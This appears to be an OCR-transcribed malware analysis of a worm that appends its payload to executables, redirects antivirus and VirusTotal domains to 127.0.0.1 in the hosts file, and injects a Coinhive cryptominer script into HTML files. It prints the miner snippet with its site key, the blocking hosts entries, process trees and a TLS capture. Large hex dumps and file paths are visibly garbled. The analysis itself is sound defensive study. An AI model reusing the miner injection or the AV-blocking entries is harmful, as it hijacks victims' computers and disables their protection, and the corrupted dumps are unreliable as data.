Payload infects other files and changes the hosts file

SeDebugPrivilege

% 127.0.0.1 BBS.SUCOP.COM
-EXE 127.0.0.1 WWW.VIRUSTOTAL.COM
* . COM 127.0.0.1 TOOL.IKAKA.COM
*.SCR 127.0.0.1 WWW.JIANGMIN.COM
% . . . 127.0.0.1 WWW.DUBA.NET
-PIF Infection via file types 127.0.0.1 WWW.ESET.COM.CN
* HTML 127.0.0.1 WWW.NOD32.COM
*.HTM 127.0.0.1 SHADU.DUBA.NET
% 127.0.0.1 UNION.KINGSOFT.COM
-GHO 127.0.0.1 WWW.KASPERSKY.COM.CN
*.ISO 127.0.0.1 KASPERSKY.COM.CN
127.0.0.1 VIRUSTOTAL.COM
127.0.0.1 WWW.360.CN
127.0.0.1 WWW.360SAFE.CN
127.0.0.1 WWW.360SAFE.COM
127.0.0.1 WWW.CHINAKV.COM
127.0.0.1 WWW.RISING.COM.CN
127.0.0.1 RISING.COM.CN
V 127.0.0.1 DL.JIANGMIN.COM
127.0.0.1 JIANGMIN.COM
NtCreateFile ( 0x024efaa®, FILE_READ_ATTRIBUTES | GENERIC_WRITE | SYNCHRONIZE, ..);
Malicious payload size (Malware adds this to all executables)
236520 BYTES pends the following to html / htm files
—n 1 < n —n . 4 1 1 < 4 4 < "
4D5A9000 03000000 04000000 FFFFOG00 BS0OG000 GODEOO00 40000000 EODE000 PODE0E0D 0OO0E0DD 0| 4D5A9000 03000000 04000000 FFFFOGGD B30D0000 00000000 40000000 GOGGOODD 00000000 00000000 >type" text/javascript” src="https://coinhive.com/1ib/coinhive.min. js"></
B e L sl 1 80 10000 OE IFBAOE @0BADICD 21B3014C 40| 00000000-00000000 QELFBAOE 00B499CD 21B8014C CD215468 : . . ) .
726F6772 616D2063 GL6EGEGF 74206265 20727S6E 20696E20 444F5320 GDGF6465 2EGDODOA 80 | 69732070 726F6772 616D2063 G16EGEGF 74206265 2072756E 20696E20 444F5320 GD6F6465 2EoDeDeA o MiNer = CoinHive.Anonymous ('yuNWeGnIGWL72dONBXIWNEj1aVHxg49E ") ;
24000000 00000000 GAZBO7B4 2EAAFOE7 2EAAFOE7 2E4AFOE7 4155F2E7 274AFOE7 4155F3E7 284AF9E7) 120 | 24600600 00E00E0E 50450600 4CH11000 97982A59 0BDEEGO0 3FESEE00 EGEVG7OL 0B010218 oolsgpoe  MiNer-start();
S556FSE7 2D4AFOE7 EDASAGE7 2BAAFOE7 ADSGF7E7 OE4AFOE7 186CF3E7 A74AFOE7 AD42A4E7 2C4AFOE7 160 | 00BCOS00 00060000 EL40000 0O 00 04000 00 00020000 04000000 01000000 >
ED4SA4E7 314AFOE7 2E4AFSE7 D14BFOE7 186CF2E7 434AFOE7 2E4AFOE7 2FAAFOE7 C6S5F2E7 3F4AFOE7 200 | 04000000 C00EE00D EO800700 EE040000 CD310800 V3000000 VOPO2000 0D1P0000 COO1000 00100000
EQ4CFFE7 2F4AFOE7 52696368 2E4AFOE7 00000000 00DOP000 GO0OOE00 POODOP00 OEC0OP00 OOCDOD 240 | 00000000 10000000 COODE0D POOODE00 PRGOOPED 4006000 VDIC0DDD 23A70500 0OORO0DD DODORO0D
50450000 4C010400 AEODSG5A @000OE00 PE0DOR00 EQOOOFOL OBOLO600 OPBOOL00 0100300 COOEC00V 280 | 00000000 00EE00O POCOEEOD PEVCOR00 PECCORED VPEOCORD VORCOOD COORO0OD CDORE00D 00DORO0O
23960000 00100000 COCOP100 EE0V4C00 POL00P00 POL00EC0 V4000000 VDECODOD 0APE0D0D COOOC0DV 320 | 04800000 13000000 EOCOOE0D EEODOE00 OPCODOD VOCOCODD 30610000 EOPEOCOD COPC00D C0DOPO0D
EDOV400 00100000 COPE00OD 02000000 00PP1000 CO10P000 POVD1C00 POL0PP00 PECORE0 1000000 360 | 00000000 COEE00D POVODEOD POVOORD 2E746573 74000000 50190000 0D100000 0D1AC00D 00DAP00O
DOR0CODD VOPE0DD COFEOLOD BADPOVOD 008ER400 ES4ABEO0O EOODOE00 PEODORO0 PE0DDE0 DECDORD 400 | 00000000 EECVODD VOP0DOD 20005060 2E646174 61000000 2C000000 PO300000 PE20000 OOLEOEC0
0000000 OPODDOD PEOCOED DOPEDDD 0DOPE0DD COPEO0D CODOPO0D PEDOE0D PEEDORCD DECDOD 440 | 00000000 EECVODD COECDED 400030CH 2E726461 74610000 33050000 C0400000 POOEOE00 OO200000
PEE0CODD VOR0ODD COPROCOD 0ORO0DD CODPROCD COPORO0D PODRR0D PRODOROD PECORED DEODORD 480 | 00000000 OOCVORO VDOO0DDD 40003040 2E627373 00OEE0DD S004P000 EOSOP000 POCOOE0D PROOEC0
PDOROCODD VOPOVDDD 2E746578 74000000 EGA70100 00100000 EOBOO100 CO100P00 EECCOOE0 DEE0DOD 520 | 00000000 CVOE00O POOEEOD 800070CO 2E6I6461 74610000 4CO60000 COERO00D CDOSC00D 00260000
0000000 20000060 2E726461 74610000 A4460000 COCOO100 0OSOPE0D POCOP100 PEOVORCD OECDOD 560 | 00000000 COEE0D PECOPEED 400030CO 2E435254 0PCOCODD 34000000 00700000 00020000 CO2EC0D
POR00ODD 40000040 2E646174 61000000 DEGCO200 00100200 EO500000 GO100200 E0OPE0 OBE0DOD 600 | 0000EE00 EOVEE0D PEOVOROD 400030CO 2E746C73 20000000 00020000 00300000
POROCODD 40000000 2E727372 63000000 ES4BE0CO 00S0P400 EOSO0000 EOG00200 R0CODE0 DOE0DOD 640 | 00000000 EECVOPED PECDOED 400030C0 2E727372 63000000 28A70500 EOODOC0D OOASOSOD 00320000
0000000 40000000 PEO0OED VOPEDDD 0DOPE0DD CODPEO0D CODOPE0D PEDPE0D PEEDOPCD DECDORD 680 | 00000000 ©EDOPC0 VEC0DEOD 400030C0 2F340000 0DOPC00D DSO2000O C0ADP600 PO0ADP00 PEDADSEO
OE0CODD VOROODD COPRO0OD 0PORO0DD CODRROCD COPORO0D PODRE0D PEODOROD PR0ORRD DBEDORD 720 | 00000000 2 2F313900 00E00000 DSAGOOOD 0OSEOGOD CPASCO0D OODEQSCO
OEOCODD VOPEVODD CDOROCOD CDORE0DD CODEROCD CODORO0D PODOEOD PEODOROD PECDDED DEEDORD 760 | 00000000 C00OE00O POOOE0D 40001042 2F333100 VOEOCO00 OE100000 COOEO7OD CDLAC0D 00860600
0000000 OPC0DDED PEOCOED DOPCDOD 0DOPE0DD CDPEO0D CODOPE0D PEDPE0D PEODORCD DECDORD 800 | 00000000 COEE0D POCOPEED 40001042 2F343500 OPCOCODD F3130000 00200700 CDLACODD COAODG0O
OR0CODD VOROODD COPRO0OD 0POROVOD CODPROCD COPORO0D PODRE0D PEODOROD PRCORED DBCDORD 840 | 00000000 000OE00O POOOEOD 40001042 2F353700 PO0CODD 50070000 V400700 0DOSC00D COBADGOO
DOEOCODD VOPEVODD CDOROCOD CDOREDDD CODEROCD CODORODD POVDEEOD PEODOROD PRCDDZD DOEDORD 880 | 00000000 CVOE0O POOOEOD 40003042 2F373000 VOEOCODD F2020000 0DSE0700 CDD4E000 0OC20600
DOCOCOED DOPC0DDD COPEE0OD CDOPC0DD CODPEO0D CODOPE0D PEDDPE0D PEODOPD PECDOPCD DOCDOD 920 | 00000000 EEEVOEC0 CPC0DEED 40001042 2F383100 COOEC00O 1EODEODO COGOR70D POOEOPED POCED600
POE0CODD VOPCDDD COPRO0OD 0PORO0OD CODPROCD COPORODD PODRROD PEODOROD PR0ORRD DEEDORD 960 40001042 2F393200 0OE00000 30020000 00700700 00D40000 0ODADG0O
DOEOCODD VOPEVODD COOROCOD CDOREDDD CODEROCD CODORODD POVDOEOD PEODOROD PECDDED DEEDOD 1000 | 000E000D COE00VD COEEDO 40001042 POCOEEOD PEVOOE0O F3C38DB4 26000000 VOSDBC27 COOEOOOD
POCOCOED VOPC0DDD COPEECOD CDOPC0DD CODPEO0D CODOP0D PEDDPEOD PEODOROD PECOOPCD DECDORD) 1040 | 83EC1C31 C066313D 00OP4000 4DSACTOS 2C504000 01000000 C7052850 40000100 OOEOCTOS 24504000
DOE0CODD VORCDDD COORO0OD 0PORO0OD CODPROCD CODORO0D POVDREOD PEODOROD PR0ORRD DECDORD 1080 | 01000000 C7053450 40000100 00OD7468 A3085040 POA13850 400085C0 744AC704 24020000 OOESCALS
DOEOCODD VOPEVODD CDOEOCOD CDOPE0DD CODORO0D CODORODD PODOEOD PEODOROD PECDDED DEEDOD 1120 | 0000C704 24FFFFFF FFESA208 Q0OOSBLS 3C504000 A3305440 OOA33454 4000AIAC 61400089 1OES160B
POEOCOED DOPC0DDD COPEE0OD CDOPC0DD CODPEO0D CODOP0D PEDDPEOD PEODOPOD PECDOPCD DOCODORD 1160 | 0000333D 18304000 01746D31 CO83C41C C33DB426 GOOOE0O C7042401 OPOVODES CO170000 EBBAGGOD
DOR0CODD VOROODD COERO0OD 0PORO0OD CODPROCD COPORO0D PODREOD PEODOROD PR0DRRD DECDORD 1200 | 8B153C00 400031BA 000P4000 50450000 SDSAGOOD 40007530 OFB75118 6631FAOB 01743F66 81FACEOZ
DOEOCODD VOPEDDD 0DOEOCOD CDOPEVDD CODOROCD CODORODD PODOEOD PEODOROD PECDDED DOEDOD 1240 | OF856AFF FFFF83B9 84000000 QEOF865D FFFFFFSB 91F30000 0031C085 D2QF95CO E94BFFFF FF8D7600
POCOCORD DOPCDDD COPEECOD CDOPC0DD CODPEO0D CODOP0D PEDDPEOD PEODOP0D PECDOPCD DOCDORD) 1280 | C7042410 1C4000E8 FADAGODD 31CP83C4 1CC38379 740EQF36 2CFFFFFF 8B3OES00 0PE031CO 85CODFOS
DOEOCODD VORCODD COORO0OD CDORO0DD CODRROCD COPORO0D PODRE0D PRODOROD PR0DRRD DEEDORD 1320 | COEOLAFF FFFF6690 83EC2CAL 40504000 C7442410 00504000 C7442408 14504000 C7442404 18504000
00000000 PODOE0D PECODE0 PPCDER0 VPECDORD VDERODED COPEDOD CODE0DD 1360 | C704241C 504000A3 00504000 Al445040 00894424 OCESOAL7 OPOOA310 50400083 C42CC38D BEOOOOOO
1400 | @A NDRC?7 A0an0n S531CARI 11000007 R9F55756 &NS55A453 R9N7&3FC 7CFIARRA 3IAFRA?16 ANOR?9C4




Flow

ONCE INFECTION TAKES PLACE, ALL EXECUTABLES ARE MODIFIED WITH THE MALICIOUS PAYLOAD. IN THE FOLLOWING FLOW YOU CAN SEE THAT PUTTY IS
LAUNCHING THE MALICIOUS PAYLOAD

worm2.exe 3840 ) X ZhuDongFangYu.exe 3900

y

getDIll.exe 3648 ) ZhuDongFangYu.exe 3680

y

getDllexe 724 ) ZhuDongFangYu.exe 2876

y

RSearch.exe 1908 ZhuDongFangYu.exe 3228

worm?2.exe 984 ZhuDongFangYu.exe 3016
putty.exe 3544 ZhuDongFangYu.exe 3460

RSearch.exe 2852

y

explorer.exe 2208

v

y

ZhuDongFangYu.exe 3864

00.exe 1664 ZhuDongFangYu.exe 3884

procf.exe 3076 ZhuDongFangYu.exe 2776

EACH PAYLOAD ENUMERATES THROUGH FILES AND CHECK FOR
NEW FILES FOR INFECTION

Y

Y

y

\Users\fooNAppDatasLocal\Tempr\uvmware—f oo \UMwareDnD\17a63327\fo0123.exe ¢ 510952
N\UserssfoosAppDatasLocals\Temphuvmware—foo\UMwareDnD\17b4385%\conf .exe »** 2125635
\UserssfooNAppDatasLocals\Temph\umware—foo\UMwareDnD\17b438592\hlow.exe »** 1370692
\Users\fooNAppDatasLocal\Temp\vmware—foo\UMwareDnD\17b43859\smsniff .exe ** 327864
N\Users\foosAppDatasLocal\Temph\vmware—foo\UMwareDnD\123d367d\EXPA1\foo.exe »** 1268906
\UserssfooNAppDatasLocals\Temph\umware—foo\UMwareDnD\1a@125h8\i.exe ¢ 770536
\Users\fooNAppDatasLocal\Temp\uvmware—foo\UMwareDnD\1b382e32\P_AU.exe ¢ 1386472
N\UserssfoosAppDatasLocals\Temphuvmware—foo\UMwareDnD\1b322dac\wanaCry.exe »*x 3959784
N\UsersifooNAppDatasLocal\Tempi\umware—foo\UMwareDnD\1d3927%a6\Projectl.exe ¢ 2005520
\UserssfooNAppDatasLocal\Temp\vmuware—foo\UMwareDnD\1db2398e \onlyDataNew.exe ** 1840104
N\UserssfoosAppDatasLocal\Temphvmware—foo\UMwareDnD\1fa42b11\5841ab—32bit.exe ** 3539002
\UsersifooNAppDatasLocals\Temph\umware—foo\UMwareDnD\208c?7356f \suchost_brute.exe »** 1221310
\Users\fooNAppDatasLocal\Temp\uvmware—foo\UMwareDnD\21e8301b\ee.exe »** 523752
\UserssfooNAppDatasLocals\Temph\unmware—foo\UMwareDnDN22fd7?h?8\1smB.exe »** 1983254
\Usersi\fooNAppDatasLocal\TempS\vmware—foo\UMwareDnD\2361256c\Compiled\Furutaka.exe »** 334312
N\Users\fooNAppDatasLocal\Temp\umware—foo\UMwareDnD\24d8328d\sidf32.exe 2+ 1831400
N\UserssfooNAppDatasLocals\Temph\umware—foo\UMwareDnD\25c4?75c? \ntertngrbod.exe »** 1072104
\UsersifooNAppDatasLocals\Tempi\vmware—foo\UMwareDnD\25fe?766e\ABCDE.exe ¢ 717090
N\UserssfooNAppDatasLocal\Temp\vmware—foo\UMwareDnD\265f33c8\drop_32.exe »** 1239766




Traffic flow (COIN-HIVE)

=========================== (UDURRANI) =================================
(DATA PUSH!) IS COMING FROM [RZFFUIEVZEEVE TO IP ADDRESS 217.182.164.13
PORT INFORMATION (49301, 443)
SEQUENCE INFORMATION (2290020932, 3425430946)

URG:@ | ACK:1 | PSH:1 | RST:@ | SYN:@ | FIN:0|

16 03 01 00 73 01 00 00 6F 03 @1 5A A6 62 70 27 «:22S...0..2.bp"
AE 33 54 9B 92 35 6D D9 03 50 BE 79 76 F8 47 D6 .3T..5m..P.yv.G.
B7 C5 EF 71 81 85 04 83 22 0D C0O 00 00 18 00 2F S« [ /
00 35 00 05 00 OA CO 13 CO 14 Co 09 CO QA 00 32 I T 2
00 38 00 13 00 04 01 00 00 2E 00 00 00 11 00 OF - T
00 00 O0C 63 6F 69 B6E 68 69 76 65 2E 63 6F 6D 00 ...Coinhive.com.
05 00 05 01 00 00 00 00 00 OA 00 06 00 04 00 17 = ciussienasssnanns
00 18 00 0B 00 02 01 606 iiaaaaas
[\ == 7]

16 03 01 00 58 02 00 00 54 03 01 D5 90 @A 43 ED sessXosaTlannns o

5B FE 9F DA FD 86 AC DE 12 CC B1 EE EF 81 D3 C8 [veiiiiinnnnnnns

D2 82 2C 64 5C 2C AC B3 DD 00 DD 20 81 59 73 Do MY« | WP .Ys.

E5 DF 46 8D 94 24 9A FA E1 2F ED 9D AF 14 84 OF wFeibenn /i

3F 53 2F 22 B7 11 D7 A0 3D B9 A2 5C Co 13 00 00 [47AnIJ

0C 00 00 00 00 00 0B 00 04 03 00 01 02 16 @3 @1 = = ..uusevnsnnnnnns

10 E9 0B 00 10 E5 00 10 E2 00 05 55 30 82 05 51 = = ..i.iiiiinans Uuoe..Q

30 82 04 39 A0 03 02 01 02 02 10 OA E1 E6 BD 51 0..9.ccsciannnn Q

FB 3D 8F 06 BE @D B5 5E BD E9 DF 30 @D 06 09 2A e T 0000k

86 48 86 F7 @D 01 01 0B 05 00 30 81 90 31 0B 30 Hevwwanss 0..1.0

09 06 03 55 04 06 13 02 47 42 31 1B 30 19 06 03 «..U....GB1.0...

55 04 08 13 12 47 72 65 61 74 65 72 20 4D 61 6E U....Greater Man

63 68 65 73 74 65 72 31 10 30 OE 06 03 55 04 @7 chesterl.0...U..

13 @7 53 61 6C 66 6F 72 64 31 1A 30 18 06 03 55 ..Salford1l.0...U

04 OA 13 11 43 4F 4D 4F 44 4F 20 43 41 20 4C 69 ....COMODO CA Li

6D 69 74 65 64 31 36 30 34 06 @03 55 04 03 13 2D mited1604..U...-

43 4F 4D 4F 44 4F 20 52 53 41 20 44 6F 6D 61 69 COMODO RSA Domai

6E 20 56 61 6C 69 64 61 74 69 6F 6E 20 53 65 63 n Validation Sec

75 72 65 20 53 65 72 76 65 72 20 43 41 30 1E 17 ure Server CAOQ..

oD 31 37 30 39 32 38 30 30 30 30 30 30 5A 17 @D .170928000000Z. .

31 38 30 39 32 38 32 33 35 39 35 39 5A 30 5B 31 18092823595970[1

21 30 1F 06 03 55 04 0B 13 18 44 6F 6D 61 69 6E '0...U....Domain

20 43 6F 6E 74 72 6F 6C 20 56 61 6C 69 64 61 74 Control Validat

~ - ~ a - - - - - ~ o~ ~ -~ —— ~ a ~ - - - - a -~ -~ - ——



